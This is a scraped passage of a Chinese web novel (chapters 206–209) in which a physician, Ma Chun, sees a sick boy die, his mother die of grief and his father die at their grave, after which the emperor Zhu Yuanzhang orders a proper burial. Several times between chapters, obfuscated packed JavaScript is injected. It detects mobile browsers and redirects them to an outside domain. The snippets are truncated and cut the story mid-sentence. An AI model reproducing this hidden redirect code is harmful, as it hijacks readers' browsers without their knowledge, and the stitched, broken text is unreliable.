35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16008991|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>当那孩子真正暴露在灯光下时,所有人的心都猛地揪紧。
十二岁的身体,瘦弱得如同**岁的孩童,全身几乎不见肉色,只剩一层惨白发灰的皮肤薄薄覆盖在细弱的骨架上,触目惊心。
他双眼无力地紧闭着,睫毛像被雨水打湿的蝶翼,覆盖着眼下深重的青黑,唯有嘴唇紧抿着一丝倔强。
马淳俯身,凝神探向他枯瘦的手腕。
指尖触到的皮肉温凉,脉搏在他指腹下微弱地滑过,如同游魂,轻飘得仿佛随时会消散在指间。
“怎样?”男人颤声问。
马淳没有抬头,眉头拧成了结:“病在脑髓,沉疴……很深。路上颠簸,已损了根本元气。”
他小心地拂开孩子额前枯草般的湿发,指尖触到他额角滚烫的温度,心下又是一沉。
“几时开始病的?”
“半……半年前,刚入春那会儿。”妇人开口。
她的目光紧紧黏在孩子的脸上,一瞬都不曾离开,“起初只说头晕,夜里发热……喊头痛……村塾的先生让歇着……以为是风寒……用了村里赤脚先生的草药……不见好,反倒越来越厉害……”
男人接上,“他、他懂事……吐了晕了,疼得打滚,也不舍得大声嚎,只憋着气,夜里蜷在被子里咬牙……怕我俩担心……眼看着他瘦下去,不行了……听说京城有个马神医,能治常人治不了的疑难杂症……我们……我们就上路了……”
他的讲述破碎而沉重,充满了走投无路的绝望。
路途的曲折如同一张巨大的磨盘,反复碾压着他们的最后一点希望:水路遇溃坝,不得已卖掉最后一点行李改走陆路;
盘缠耗尽,一路靠打短工和乞食度日;
野地里染过风寒,不知名的小镇上耽搁过……
时间在孩子的病痛与双亲的煎熬中一点点流走。
能捱到京城,已是这孩子以惊人的意志力死死攥住生机的结果。
“路上……他就硬撑着……”男人粗糙的大手无意识地摩挲着膝盖的破洞,“每回看着不行了,他醒来就对我们说,‘爹,娘,莫慌,孩儿觉得……好些了’。他自己……给自己熬命……”
……
第206章儿子死后,母亲瞬间就气绝!
话未落地,席上那个几乎没了生气的孩子,眼皮极其轻微地颤动了一下。
他的眼皮挣扎着掀开了一道缝隙,露出一丝浑浊的眸光。
他艰难地转动眼珠,一点,一点,终于定格在了父亲粗糙焦急的脸上。
“……爹?”那声音细得像一缕蛛丝,带着令人心碎的疲惫。
“哎!爹在!”男人瞬间如同被抽干力气的皮囊猛地鼓胀起来,几乎是扑跪到草席边,手忙脚乱地想去碰触孩子,又不敢真碰上,“宝儿!爹在!不怕!马神医在!咱有救了!”
孩子仿佛没听见父亲后面那句满怀希望的话。
极其微弱地扯了扯嘴角,竟像在安慰:“娘……莫哭……”
他的目光微微移动,找到了坐在他腿边,一直死死盯着他的母亲。
妇人紧紧捂着嘴,泪水无声地奔流,肩膀剧烈的抽动被强行压抑着。
“……不疼了……”孩子眼中最后一丝光芒**起来,很亮,定定地望着他的母亲,“孩儿……真不疼了……”
他的气息骤然急促起来,像破旧风箱的最后喘息,脸色迅速弥漫开一层冰冷的死灰。
目光在父母脸上艰难地来回留恋了一瞬,那抹奇异的、甚至带着解脱和安抚的笑意,竟清晰地定格在他枯瘦的脸上。
随即,他眼皮沉沉落下,胸脯再不见半分起伏。
那只一直蜷在母亲手边的小手,悄然滑落,冰冷地搭在草席上。
男人脸上的希冀和瞬间点燃的微光,凝固了。
时间仿佛静止了片刻。
纵是见惯了生与死的马淳,看到这一幕,也感觉心脏被什么紧紧攥住,每一次呼吸都疼得喘不上气。
“宝……宝儿?”男人下意识地又唤了一声,声音小得像怕惊扰了什么。
他伸出满是厚茧、指节粗大的手,颤巍巍地想要去探孩子的鼻息。
指尖悬停在鼻端上方,像被无形的冰块冻住,僵硬着,颤抖着,终究没能真正碰触下去。
“啊……”一声极为短促的气音从他胸腔深处挤出,像是什么东西被生生撕裂。
他高大的身躯猛地塌软下去,如同被抽掉了所有的骨头筋脉,整个人向前栽倒,额头重重地磕在冰凉的草席边上,发出一声闷响。
他没哭出声,只是喉咙里开始发出一种极其压抑的、类似野兽被利刃捅穿心肺后垂死的哀鸣。
“呃……呃……呃嗬……”
这声音不像是哭,更像是一个溺水之人灌满了淤泥,被堵**所有出口,只能从最深处挤出绝望的呜咽。
他那原本被生活压得微驼的背脊,此刻弓得如同烧红的虾米,整个肩膀无法抑制地剧烈抖动。
女人没有发出任何一点声音。
她整个人僵在那里,脸上刚才还在奔流的泪水也瞬间凝固。
那双眼睛猛地瞪到极致,死死盯着孩子嘴角那抹凝固的微笑。
空茫,空洞,所有属于人世的光和感觉都从那双眼睛里彻底抽离了。
仿佛她所存在的那个世界瞬间粉碎,化为一片冰冷虚无的死寂。
她就那样坐着,像一尊失去了所有支撑的石像,唯有胸口一丝微弱到几乎不存在的起伏,证明她还活着。
那眼神空得让人心头发怵,直勾勾地,只剩下她儿子小小的、再无生气的脸。
灯影下,男人额头抵着草席,发出的压抑呜咽声与窗外凄厉的风雨纠缠在一起。
女人像石化了一般凝固。
马淳悄然退回诊桌旁,拉开抽屉最底层的小匣子。
多强的意志,多懂事的魂灵,也敌不过脑髓里无声蔓延的凶险。
他行医十几年,第一次如此清晰地看到油尽灯枯的倔强。
男人最终从地上抬起头。
额头那一块刚刚磕碰的地方红紫一片,隐隐渗出血丝。
他脸上的肌肉扭曲抽搐着,浑浊的泪水和鼻涕肆意流淌。
他喉咙里还在发出“呃嗬”的怪响,艰难地、一点一点地挪动着身躯。
他伸出枯藤般黝黑僵硬的手,动作带着一种令人心碎的迟缓与轻柔,试图抚平孩子衣襟上最后一道微不足道的褶皱。
就在他的指尖即将落在孩子冰凉衣襟上的刹那——
一直如石像般僵坐在孩子腿边的母亲,身体几不可察地微微晃动了一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16013086|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下。
紧接着,仿佛一根始终绷紧到极限的琴弦,终于无声无息地断裂。
她的身体软软地朝一侧倾倒,悄无声息地委顿下去。
男人那只想去抚平衣褶的手,就那么僵硬地停在距离孩子胸口不到一寸的地方。
咚!
妇人瘫倒在地,发出一声沉闷的轻响。
头颅无力地歪向一边,半张脸贴在冰冷的地面上。
她仍保持着倒下去时微微倾身向前的姿势,眼神却彻底空了,连那点虚浮的微光也熄灭了。
**。
无声无息,就在孩子身旁三尺之地。
男人保持着那个僵硬欲抚的动作,仿佛时间在他身上静止,唯有一双眼睛,慢慢、慢慢地从孩子没有生气的脸上挪开,一寸寸移到身旁倒下的女人身上。
世界彻底死寂。
窗外的风雨声消失了,时间也消失了。
男人脸上的所有情绪,无论悲痛、扭曲还是绝望,都在这一刹那被冻结。
它们一层层褪去,最终只剩下一片彻底的空。
比窗外的黑夜更深的空。
他那只手终于动了,极其缓慢地收了回来。
手掌落到地面上,支撑着自己沉重的躯干,一点一点地挪动膝盖,爬行般地,笨拙而费力地挨到女人身边。
他伸出手,宽大、粗糙、布满劳作痕迹的手掌,犹豫着,抖得不成样子,终于颤抖地覆上女人同样冰冷的手背。
温热的液体无法抑制地从男人眼眶里漫出来,顺着脸上深刻的沟壑往下淌,滴落在女人了无生气的胳膊上。
他喉咙滚动着,像在吞咽滚烫的炭火,“秀兰……你……你也……累了?”
马淳的身影凝固在诊桌之后,脸色难看至极。
小六端着熬好的参汤,呆立在通往后院的门口,碗沿烫红了手也浑然不觉。
满室压抑的呜咽与沉重的寂静如同铁幕笼罩下来。
命运这一记无声的闷棍,敲得所有人都失了神。
原来最深的绝望并非山崩海啸,而是冰消雪释,归于死寂的哑然。
时间仿佛在这逼仄的医馆一角彻底凝滞成冻土……
第207章‘心碎综合症\’‘应激性心肌病\’
男人的背影僵硬地定格在妻子和孩子之间。
不知过了多久,也许是几息,也许是一炷香的时间。
那佝偻的背影才极其轻微地震动了一下。
男人喉结滚动,艰难地吞咽下堵在喉咙里的硬块。
他没有回头,只是发出了一声如同破旧风箱强行启动的嘶哑长吁。
他扶着膝盖,挣扎着,极其缓慢地从冰冷的地面上站起。
动作僵硬得如同生了锈的机括,每一个骨节的屈伸都清晰可见,带着沉重的摩擦声。
站直后,他没有再看任何人,也没有去碰触妻子和孩子。
他只是一步一步,拖着灌了铅般沉重的步子,走到医馆的角落。
窗外,雨势更大了。
倾盆的雨水猛烈敲打着屋檐,发出密集的、几乎要将天地淹没的轰响。
他就那样背对着所有人站着,一动不动。
没有人能看清他的表情,更无人知晓他在想什么。
只有那高大却已形销骨立的身形,投透着一种被无望彻底碾碎后的枯槁。
许久。
灯盏里的油熬尽了大半截,他依旧沉默地面壁而立,仿佛已经石化生根,与满室的死寂和窗外的风暴融为一体。
马淳的目光落在那面窗上,徐妙云都不敢进来,只能在后堂待着。
小六蹑手蹑脚地移到炉子边,拨了拨快要熄灭的炭火,又添上一把柴草。
柴草遇着残火,“噼啪”爆出几点微弱的火星。
也就在这一刹那,窗边那个凝固如同剪影的男人,他的肩膀不易察觉地微微一震。
他终于缓缓转过身来。
灯火照到他脸上的一刻,离他最近的小六猛地倒抽一口冷气,几乎脱口惊叫出声,又死死用手捂住了嘴。
那原本只在鬓角有几星花白的头发,竟彻底蒙上了一层灰白霜雪!
仅仅是背对众生的这一两个时辰,竟似耗费了他数十载的精元寿数。
一张原本只是被风霜刻画出深深沟壑、却仍旧充满生人活气的脸,此刻竟如同枯死的树皮,被毫无生机的灰色浸透,皮肉彻底松弛下来,耷拉在嶙峋的颧骨上。
浑浊不堪的眼珠里,再也寻不到任何属于活人的光。
他动作迟钝地移动脚步,一步,又一步。
他一直走到瘫倒在地的妻子身旁。
俯下身。
伸臂,极尽轻柔,仿佛怕惊扰了她沉睡的梦,将妻子那早已冰冷僵硬的身体托起,小心翼翼抱在怀中。
然后,他走回到草席旁。
双膝沉重地跪下,将那冰冷的身体轻轻放在孩子身侧,让母子俩肩并肩紧靠在一起。
做完这一切,他又静静地凝视了一会儿。
马淳默默上前一步,递过一张干净的粗麻布。
男人的目光始终没有离开草席上的母子,只是伸出手,准确无误地接过了那张白布,“谢谢大夫……”
他甚至在最后一刻也知道要去感谢别人。
他展开白布。
动作轻柔得像是在捧起最脆弱的珍宝,将那洁净的麻布缓缓覆盖在妻子和孩子的脸上、身上,严严实实,小心地盖住了所有。
两个曾与他骨血相连、命运相连的人,从此彻底隐没于这张惨白之下。
他再次俯身。
双臂从妻子僵直冰冷的背脊下穿过,一手托肩,一手挽膝弯,用力一抱,将妻子和妻子臂弯里那个同样冰冷轻飘的孩童一同揽入自己早已被苦难压弯了的胸前。
孩子的双腿从白布下无力地垂下,轻轻晃动着。
男人抱着这一对冰冷沉重的骨肉,摇摇晃晃地、趔趄着站直了身体。
他佝偻的腰在这巨大的重量下压得更弯更深。
他转身,迈步,抱着怀中两具被白布覆盖的冰凉身躯,一步一步走向医馆敞开的、涌动着风雨寒气的大门。
他经过马淳身旁时,脚步似乎微不可查地停顿了半瞬。
没有抬头,没有言语。
随即,他踏出了门槛。
外面是漫天泼洒的瓢泼暴雨。
他抱着他们,一步一步,踩在石阶下冰冷的积水坑里,水花溅起。
风雨中,他灰白色的头颅低垂着,下巴几乎挨着妻子的额角,像是要最后汲取一丝温存。
他就那样走入漫天倾盆的冷雨中。
男人抱着妻儿,佝偻的身影消失在茫茫雨幕里。
医馆的门扉空洞地敞着。
“师傅……”小六的声音带着浓重的鼻音,打破了死寂。
他红着眼眶,走到草席旁。
那里还残留着水痕和一丝冰凉的气息。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16018200|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
r>那是眼泪吗?
小六分不清。
他想起男人花白的头发,问道:“那人……咋就一夜白了头?”
小六的声音颤抖着,“还有那婶子,咋就……”
他说不下去,想起妇人心碎气绝的一幕,眼泪又涌了上来。
“就……就那么跟着去了?”
徐妙云悄无声息地走了进来。
她眼角的红肿掩饰不住,显然在后面哭了一场。
听到小六的问题,她默默走到马淳身边,眼神里也带着同样的困惑与沉重。
她轻轻挽住丈夫的手臂,寻求着支撑,也想听他解释这人世间难解的悲怆。
马淳深深吸了口气。
他看着妻子和小六充满哀戚和探寻的眼神,艰难地开口。
“一夜白头……”马淳的声音带着疲惫。“那叫做‘急性弥漫性毛发褪色’。”
他努力用最平实的话解释复杂的医学现象。
“人处于极致的、无法承受的悲痛或惊恐时,身体会过度激活一套系统,叫‘交感神经系统’。”
“就像被人拿着鞭子,死命抽打你的五脏六腑。过度激活下,会大量分泌一种东西——儿茶酚胺。”
“这东西,好比烈火油。它能瞬间让你的心狂跳。让你的血压飙升到顶点。也能瞬间,让你的毛发色素生产急剧减少,甚至骤停!”
“已经染色的毛发,它来不及再变白,但那些靠近毛囊根部的、新生的头发,它们在色素匮乏的状态下,直接长出来。”
“于是乎……一夜之间,青丝成霜雪。看起来,就是白了头。”
马淳的声音,像在陈述一个冰冷残酷的规则书,“他的身体机能……已经被这巨大的悲伤彻底压垮、透支。就像一根被两头点燃的蜡烛,烧得太急太快。”
徐妙云轻轻“啊”了一声,泪水再次蓄满眼眶。
她想起那位母亲瞬间黯淡无光、随之逝去的眼睛。
“那……那婶子呢?怎么就……那么快?”小六急切地追问,声音哽咽。
马淳收回目光,“那位母亲……她承受的,是另一种极致的‘碎灭’。”
“这叫‘心碎综合症’。医学上也称作‘应激性心肌病’。原理差不多。都是极端情绪猛烈冲击身体。”
……
第208章铁血如朱元璋听得都落泪!!
“像一道看不见的雷霆,直劈心脏。那股儿茶酚胺的‘洪流’,它不仅烧白了头发,更能直接‘毒害’你的心肌!”
“大量儿茶酚胺短时冲击心肌,会让心肌细胞暂时性地‘麻痹’。心脏泵血功能在那一刻急剧衰竭。严重时,短短一炷香,甚至几个呼吸……心就‘停’了。”
他顿住话语,眼神里是无尽的悲悯。
那草席上,妇人瞬间凝固的眼神,成了最好的注脚。
她的心,在那一刻,被儿子临走前的笑容,彻底击碎了。
“她不是病逝,是‘心碎’而亡。那一刻,她的心拒绝再跳动,陪着她孩子……走了。”
马淳的声音变得极轻,却字字敲在徐妙云和小六的心上。
死寂再次笼罩小小的医馆。
那对父母和孩子最后的景象,清晰地浮现在两人眼前。
丈夫瞬间白头的悲怆。
妻子无声追随孩子的决绝。
那个瘦弱孩子临死前强撑出的“不疼了”的安慰笑容……
一股难以言喻的巨大哀恸扼住了徐妙云和小六的喉咙。
他们的眼眶瞬间灼热,泪水再次不受控制地滚落下来。
“太苦了……”徐妙云将脸埋在马淳肩头,发出压抑的啜泣。
小六用力地用袖子抹着眼睛,泣不成声。
“他们……他们来的时候还……还有救的……”小六哽咽着说,满是惋惜和不甘。
“太迟了……”马淳的声音带着深深的无力感。“脑瘤已非一日之寒。半年病痛折磨,油尽灯枯。加上一路风餐露宿,千里跋涉……最后那一线生机,也被耗尽了。”
“这人间……对他们来说……”他低叹,“已尽是黄泉路。”
小六抽噎着,擦着泪:“那……那大叔,他抱着婶子和娃……他……他能走多远?回湖广……千里迢迢……他一个人……”
徐妙云也抬起泪眼,望向丈夫。
希望从丈夫口中听到一点微弱的安慰。
马淳却没有回答。
过了许久,他才说话,“他的命……其实在妻儿倒下的那一刻,也就跟着没了。”
小六和徐妙云猛地抬头,怔怔地看着马淳。
“刚才说的交感风暴,心碎综合症……”马淳的声音平静,“你们以为,那位父亲扛过了那一瞬白发,就扛过去了么?”
“不。”
“极致的哀痛本身,就是一种……剧毒。”
“它会彻底摧毁一个人的求生意志。”
“我们叫他‘哀毁’。”
“他的生机……已经被悲伤彻底抽干了。”
“他的眼神……”马淳的声音顿了顿。
眼前浮现出男人抱起妻儿走向雨夜时,那双完全失去了所有光芒的、灰败空洞的眸子,像两口枯竭了万年的死井。
“我在他眼里……看不到一点光了。”
“那是一个人……”
“心**。”
“精神彻底崩溃了。”
“支撑他活下去的所有念想,都断了。”
“他现在行尸走肉,凭的不过是一点‘把她们带回家’的执念。”
“千里归途,对油尽灯枯的他……是催命符。”
“回到家乡……”他停顿了一秒,下了结论。“他便也油尽灯枯……随妻儿去了。一家人……也算是……团聚了。”
死寂淹没了整个医馆,像一块巨石,沉沉压在小六和徐妙云心头。
让他们几乎窒息。
……
医馆内一片死寂。
小六端着那碗早已凉透的参汤,手指被碗沿烫红也浑然不觉。
徐妙云靠在马淳肩头,低声啜泣。
徐妙云抬起头,泪眼模糊地看着丈夫。
那饱经风霜却依旧稳定的轮廓,像黑暗里唯一的锚点。
她心里忽然涌起一股难以言喻的庆幸和后怕。
如果……如果当初没有遇见淳哥。
如果她嫁的是另一个人。
她不敢想。
她会像无数妇人一样,在丈夫的漠然或**旋涡中担惊受怕。
孩子病了,求医无门。
或许只能像刚才那对夫妇一样,抱着一点点微光跋涉,最后却……
“夫君……”她手臂收得更紧了些。
马淳轻轻拍了拍她的手背,没有说话。
这份能救人的医术,这份能替人负重的心,这份安稳的依靠。
是她此刻最深的珍惜。
……
皇城,西暖阁。
朱元璋难得提前放下堆积如山的奏本。
马皇后坐在他身边,手里捻着佛珠,眉眼间也带着一丝疲惫。
蒋瓛垂手立在阶下,声音低沉平稳,将
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16018201|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
城外医馆发生的一切详尽禀报。
那个瘦小枯槁的孩子。
那个背着孩子跋涉千里、额头磕出血印的汉子。
那个瞬间心碎气绝的母亲。
还有那个一夜白头、抱着妻儿走入漫天冷雨的丈夫。
每一个细节,都冰冷残酷。
“孩子懂事,疼狠了也憋着……怕爹娘担心……”
“他说,真不疼了……然后就……”
“那妇人……当场就……”
“头发……全白了……抱着人走的……外面雨大……”
蒋瓛的声音没有起伏,却字字凿在听者心上。
“啪嗒。”一滴滚烫的东西落在朱元璋手上。
他低头,是马皇后捻珠的手,不知何时已经停下,一滴泪砸在他手背。
朱元璋脸上没有任何表情。
沉默。
许久,朱元璋缓缓开口,“派人找到那汉子,跟着,帮他……最后这段路。送一程。”
“是。”蒋瓛深深一躬。
……
湖广方向,官道泥泞。
暴雨早已停歇。
三名锦衣卫缇骑,一身风尘仆仆。
为首一人在一天后追上了目标。
远远的,一个灰白的身影,背对着他们,在官道旁一片荒芜的坡地上缓慢动作。
正是那个一夜白头的男人。
他脚下躺着一个巨大的包袱,里面是两卷粗糙裹着的草席。
他手里没有工具,正用他那双布满老茧、指节碎裂的手,在冰冷的泥地里死命地刨着。
一下,又一下。
估计是自知没有能力将妻儿护送回家乡,所以男人选择就近将妻儿入土为安。
指甲翻起,指尖渗出血,混着冰冷的黑泥。
没有哭泣,没有言语。
只有机械到麻木的动作。
缇骑们勒住马。
他们看着他佝偻如弓的背脊,看着他每一下刨下去都像是在耗尽心力的身躯。
一股酸涩冲上鼻尖。
领头的缇骑翻身下马。
他挥了挥手,另外两人也立刻下马,解下随身的腰刀鞘,走向那片空地。
没有废话。
缇骑头领走到男人身边,男人似乎毫无所觉。
缇骑头领拔出自己的佩刀,刀柄冲前,递了过去。
“用它。”
……
第209章皇帝亲自下令厚葬!!
男人刨挖的动作猛地顿住。
他僵硬地、极其缓慢地转过身。
那双浑浊灰败的眼珠里,没有任何光亮,也没有焦距。
仿佛只剩下一个空洞的躯壳。
他呆呆地看着递到面前的刀柄。
看了很久,久到缇骑头领都以为他不懂。
终于,一只满是泥血的手伸了过来,接过刀柄。
他的手握不住刀身,只能握着柄。
他转过身,用那刀柄的末端,继续一下一下地掘着冻硬的土地。
效率快了些。
另外两名缇骑也动手了。
他们用鞘、用脚、用手,奋力地帮着挖掘。
泥土飞扬。
没有人说话。
只有粗重的喘息声,泥土被翻起又落下的噗噗声,在这荒凉的坡地上回荡。
一个勉强能埋下两个草席的浅坑挖好了。
很浅。
男人丢下刀柄,扑到那巨大的“包袱”旁。
他小心翼翼地解开捆绑的草绳,像对待世间最珍贵的珍宝。
他轻轻揭开盖在妻儿身上的粗麻布。
露出两张早已冰冷的、却依然靠在一起的侧脸。
那是他最后的一点依靠。
男人伸出手,用脏污的袖子,极其轻柔地拂去妻子和孩子脸上的泥土。
动作温柔得让人心碎。
他费力地将两具冰冷的身躯抱起来,放进那个小小的浅坑里。
让她们相依相偎。
就像在家里睡着时那样。
然后,他抓起旁边冰冷潮湿的泥土。
一把,一把,盖上去。
泥土落在草席上,发出沉闷的噗噗声。
每一下,都像砸在三个铁血缇骑的心上。
盖到一半,男人突然停下。
他转过身,“咚”的一声,朝着三个缇骑的方向,重重地磕了一个头。
额头砸在冰冷的泥地上。
没有言语。
只有那深深的一拜。
接着,他艰难地站起身。
身体摇晃了一下,几乎跌倒。
旁边一名缇骑下意识伸手想去扶,却又停在半空。
男人没有看他们,只是走到坑边,继续掩埋。
直到完全看不出痕迹,直到妻儿终于回归了泥土。
土堆堆得很草率。
男人却没有停下。
他拖着身体,走到离那座新坟几步远的地方。
又跪了下去,开始用那双早已没有知觉的手,在那冰冷刺骨的地面上挖。
他在挖自己的坟。
三个缇骑沉默地看着,没有阻止。
他们明白了,他们无法阻止。
这个男人,他的魂早已随着妻儿一起被埋在了土里。
现在,只剩下这具躯壳,在完成最后的仪式。
一个更浅的坑挖了出来。
男人停下了挖掘。
他再次转过身。
面向三位缇骑。
这次,他没有磕头。
他的目光,仿佛第一次有了短暂的、微弱的聚焦,落在领头的缇骑脸上。
那双死寂的眼睛深处,似乎有什么东西微弱地闪了一下。
一种解脱般的恳求。
嘴唇微微翕动,吐出的声音嘶哑得几乎听不见。
“官爷……劳烦…如果……”他指了指妻儿坟旁那个刚挖出的浅坑,又指了指自己。
意思不言而喻。
他想跟他们在一起,生前没能一起回家,死后希望同眠一处。
领头缇骑紧抿着嘴唇,喉结狠狠滚动了一下。
他重重点头,“你放心。”
三个字,重若千钧。
男人的脸上,极其缓慢地,极其极其微弱地,扯动了一下嘴角。
那几乎不能算是一个笑。
像是沉重的石磨,极其吃力地转动了半分。
他用尽最后一丝力气,挪到那个属于他的浅坑前。
整理了一下他那身沾满泥泞的破烂衣物。
然后,他对着妻儿那简陋的坟堆,双膝沉重地跪了下去,深深地拜伏下去。
额头紧贴着妻儿坟前冰冷湿硬的泥土。
再也没有抬起。
时间仿佛凝滞。
三个缇骑死死地盯着那个保持跪拜姿态的身影。
一动不动。
等了许久,又许久。
那身影依旧静止。
像一尊被冻结的泥塑。
一股强烈的不安瞬间攫住了领头缇骑的心。
他疾步上前。
“喂!”没有回应。
他伸手,小心翼翼地,极其轻微地碰了碰男人的肩膀。
那身体还存着一点微弱的余温,但已经僵硬。
指尖传来冰冷、凝固的触感。
领头的缇骑蹲下身,屏住呼吸,将手指探到男人伏在地上的鼻端。
一片冰冷死寂。
没有任何气息。
他猛地收回了手,像是被火焰烫到。
另外两名缇骑也冲了过来。
“头儿?”
领头的缇骑缓缓站起身,脸色凝重得如同铁铸。
他沉默地望着那个跪伏在妻儿坟前,再也无法起身的身影。
他转过身,对着另外两人,声音无比沉重,“人没了。”
死一般的寂静。
只有风声呜咽。
三个经历过刀山火海、见惯了生死的汉子,此刻心中都涌起一股难言的悲怆和震撼。
他们沉默地解开披风,盖在男人冰冷的躯体上,暂时隔绝了寒风。
然后,他们动手。
按男人的遗愿,将他轻轻放入那个他亲手为自己挖好的浅坑里。
就在妻儿坟旁,挨得很近。
接着,沉默地填土。
冰冷的泥土渐渐覆盖了那身破烂的衣裳。
覆盖了那双沾满泥土和血痕的手。
覆盖了那一夜褪尽所有颜色的灰白头发。
覆盖了他跪伏在妻儿坟前最后的姿态。
直到三个小小的土丘,在荒凉的坡地上相依相伴。
三个缇骑并排站在坟前。
他们无声地摘下了头盔,对着这片冰冷的葬身之地,深深的,三个沉重的鞠躬。
送别这对夫妻和孩子,也送别那个用尽全力守护家人,最终选择同归尘土的汉子。
一路走好。
三名锦衣卫站在新起的坟茔前。
黄土未干。
三个小小的土丘在寒风中相依,静默无言。
领头的缇骑深深吸了一口气,“走。”
他拾起男人用过的佩刀,在坟头旁松散的泥土里仔细擦拭干净。
另外两人沉默着整装,上马。
他们不再看那片荒凉之地,不敢看,心口堵着沉甸甸的东西。
回程路快了许多。
抵达宫门时,夜色已深沉。
皇城沉寂,西暖阁的灯火却通明如昼。
内侍无声地通报,“陛下,蒋指挥使带人回来了。”
蒋瓛的身影出现在门外。
他身后跟着那三个沉默如石的缇骑。
衣袍沾满风尘,脸色比离开时更加凝重。
朱元璋放下手中的一本奏疏。
他抬眼,目光扫
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16018202|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过阶下的几人,“说吧。”
蒋瓛躬身,侧身示意。
“人……找到了,也安葬了,就埋在城外官道旁的一处荒坡,一家人……”
领头的缇骑上前一步。
他双手将清洗干净的佩刀呈上。
低着头开始讲述。
“赶到时,那人已在挖土。徒手,指甲翻裂,指头流血,混着泥……”
“我们帮他用刀用鞘,挖了个浅坑。他把妻子和孩子放进去。裹着粗麻布……”
缇骑停顿了一下。
“然后……他又在旁边挖了个坑,更浅,自己挖的,挖好了,他对着妻儿的坟头拜下去……再没起来。”
他抬起头,眼眶微红,迎上朱元璋锐利的目光。
一字一句,“我们探了,气绝多时了,浑身冰冷,硬了。”
“按他最后指着的那个地方……挖的坑……也埋下了。挨着妻儿,三个土包。”
整个西暖阁安静下来。
朱元璋脸上的皱纹似乎更深了些。
他盯着台阶下,目光空洞。
那缇骑最后道,“他们自湖广衡州府一路跋涉至此……盘缠耗尽,卖尽行李……风餐露宿……孩子拖到这地步……夫妻俩……都没能踏上回乡的土……”
朱元璋的嘴唇紧紧抿着。
仿佛又看到了多年前那个风雪之夜。
冰冷的土屋,爹娘干瘦蜡黄的脸,屋子里最后一点活气都没了。
他也曾那样跪在父母身边,天大地大,只有刺骨的冷和无穷尽的绝望……
阶下。
蒋瓛和几名缇骑垂首肃立,大气不敢出。
皇帝久久的沉默
许久。
一滴浑浊的水珠,无声地滚过御座前那沟壑纵横的脸颊。
“朕……”朱元璋的声音忽然响起,沙哑得厉害,“想起了……朕的爹娘……”
“临死的时候……也就一个草席裹着……埋在了村后一片义惠侯施舍的地里,连块像样的木板……都没有……”
又是一阵长久的死寂,压抑弥漫在每一个角落。
马皇后轻轻抬手,用手绢默默拭过自己的眼角。
朱元璋深深吸了口气,胸膛起伏。
他抬起了头,眼里有一丝决绝,“人没了……根还在。”
“传旨。蒋瓛!”
“臣在!”蒋瓛立刻躬身。
“即刻去办,从朕的内帑……拨一笔钱。”
“带足人手……查清楚这一家三口,湖广衡州府,具体哪里人氏,姓甚名谁,家住何方。”
“找到那埋骨的荒坡,务必……把那三具骸骨……完整地、仔细地起出来!”
朱元璋的目光扫过阶下的缇骑,最后落在蒋瓛身上,“用上好的棺木!装殓!三口合葬,装在一个大的里也行,务必要让他们,待在一起!”
他加重了语气,“不得惊扰!不得散失!装好了……派得力的人……派稳当的车马……”
“送……”
“送回湖广老家去!”
“送他们……”
“回家!”
“落叶归根……”
“入土为安……”
“务必要将他们安葬在他们的故土之上!”
“厚葬!听清楚了吗?”
“臣……”蒋瓛猛地单膝跪地,“遵旨!”
他身后的三名缇骑,亦随之轰然跪倒,“遵旨!”
朱元璋挥手。“速去办。”
神情疲惫而苍凉,再不说一句话。
蒋瓛等人无声叩首起身,快速退出西暖阁。
